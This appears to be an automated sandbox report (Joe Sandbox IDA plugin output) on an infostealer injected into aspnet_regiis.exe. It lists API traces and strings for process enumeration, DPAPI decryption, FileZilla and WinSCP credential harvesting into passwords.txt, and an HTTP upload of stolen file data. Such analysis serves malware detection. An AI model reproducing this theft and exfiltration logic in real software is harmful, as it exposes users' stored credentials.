Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 3201426b776385a3cec3b57894168fff0e077abb9657e76df344b0d488c20950
Instruction ID: d89f910ec230dae430ffd6d330d852df9ea80ceecc6bcaa0146556bb21002fe4
Opcode Fuzzy Hash: 3201426b776385a3cec3b57894168fff0e077abb9657e76df344b0d488c20950
Instruction Fuzzy Hash: 75314F71900328AFCB20EF65DD89BDEB3B9AB04304F5045EAF519A3152D7B86EC58F54

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417E31,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: c9d347d910f7b4a70f950499f2b0cdb52079f09d3bb31312a8c8ade1b0a83c2a
Instruction ID: d2a27fa508e6c3a354df25509a6f4190b9582d57abc1eee0c1e907853c614cd1
Opcode Fuzzy Hash: c9d347d910f7b4a70f950499f2b0cdb52079f09d3bb31312a8c8ade1b0a83c2a
Instruction Fuzzy Hash: 3B0162316002249BDB619B60DD44FEA76FD9B14301F8400E6E40DD2251EA798F949B25

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: 6ecd6e103f958e55985b85a8d6cec58a1d4901635c4c4c9a6a92631ed1d39a01
Instruction ID: df159de601ea63d42004a6701442e9789206b56ac97d0af79a31bc2d218e3f7e
Opcode Fuzzy Hash: 6ecd6e103f958e55985b85a8d6cec58a1d4901635c4c4c9a6a92631ed1d39a01
Instruction Fuzzy Hash: FB117371A00214ABDB21EB65DC85BED73A9AB48308F400097F905A3291DB78AEC59B69

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 8121b2989182859caeafca9d685060af6f757cf6148b1a30633017c65544c455
Instruction ID: 3462f644bc87497e0213169472e2bde5c7d2207eb6d596ae75af8f0473202e49
Opcode Fuzzy Hash: 8121b2989182859caeafca9d685060af6f757cf6148b1a30633017c65544c455
Instruction Fuzzy Hash: 78F0E070A0132467EB04DFB4EC49B9B37659B04729F100295F511D71D0EB759E848785

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
RtlAllocateHeap.NTDLL(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 67b530403a9dc94f78866dc1dd254330b8edc701593f238e5f24d625af2237fc
Instruction ID: 6e5c45132ae1b45d6529ef5bd4d0c5c9796b2e2d3bf3e93bb3fd0621c026135a
Opcode Fuzzy Hash: 67b530403a9dc94f78866dc1dd254330b8edc701593f238e5f24d625af2237fc
Instruction Fuzzy Hash: E8E092B0D1020D9BCF04DF60EC459DE77FCEB08208F4055B5A505E3180D674AB89CF44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,00418544), ref: 004014DF

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,bb7310eab4245006f125c442da2d1e50,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

file_data, xrefs: 00405C09
--, xrefs: 00405600
------, xrefs: 004059FF
", xrefs: 0040581B
build_id, xrefs: 0040594F
", xrefs: 00405AD8
------, xrefs: 00405B5D
block, xrefs: 00405E30
ERROR, xrefs: 00405D79
bb7310eab4245006f125c442da2d1e50, xrefs: 004059A7
", xrefs: 0040597B
------, xrefs: 0040573C
", xrefs: 00405C35
ERROR, xrefs: 00405F2F
------, xrefs: 0040589D
------, xrefs: 00405605

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$ERROR$ERROR$bb7310eab4245006f125c442da2d1e50$block$build_id$file_data
API String ID: 2638065154-2126246112
Opcode ID: 728df9254f14c32eb0309421fbc2d51be9a45682cb524dc00f6aca4526101756
Instruction ID: a1f310b16752a75a1e3861b17425502ee47d614580a36b5f1e1f8e1f13a41955
Opcode Fuzzy Hash: 728df9254f14c32eb0309421fbc2d51be9a45682cb524dc00f6aca4526101756
Instruction Fuzzy Hash: 3742E671D401699BDF21FB21DC45ACDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

Strings

passwords.txt, xrefs: 0040EA4D
<Pass encoding="base64">, xrefs: 0040E88A
<Host>, xrefs: 0040E7D9
Password: , xrefs: 0040E9AE
<User>, xrefs: 0040E851
Login: , xrefs: 0040E98C
Soft: FileZilla, xrefs: 0040E948
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F
<Port>, xrefs: 0040E818
Host: , xrefs: 0040E954

Memory Dump Source

Source File: 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3371829647.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3371829647.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_aspnet_regiis.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: daf18828ca77f1c77d3f07f28c52861645635e7fac20ced428b2830730ead7d9
Instruction ID: 2e9f852a615408e756f1d7d3730d5668bfc6bf7d6dc94c0724fe4efb67adb4f0
Opcode Fuzzy Hash: daf18828ca77f1c77d3f07f28c52861645635e7fac20ced428b2830730ead7d9
Instruction Fuzzy Hash: 6FA17572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 0040E186 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E276
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E29D
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

PortNumber, xrefs: 0040E3BD
Host: , xrefs: 0040E32A
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
Password, xrefs: 0040E515
:22, xrefs: 0040E42D
Login: , xrefs: 0040E459
Password: , xrefs: 0040E529
Soft: WinSCP, xrefs: 0040E2FE
UseMasterPassword, xrefs: 0040E24E
passwords.txt, xrefs: 0040E662
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
UserName, xrefs: 0040E496
HostName, xrefs: 0040E367
Security, xrefs: 0040E253

Memory Dump Source

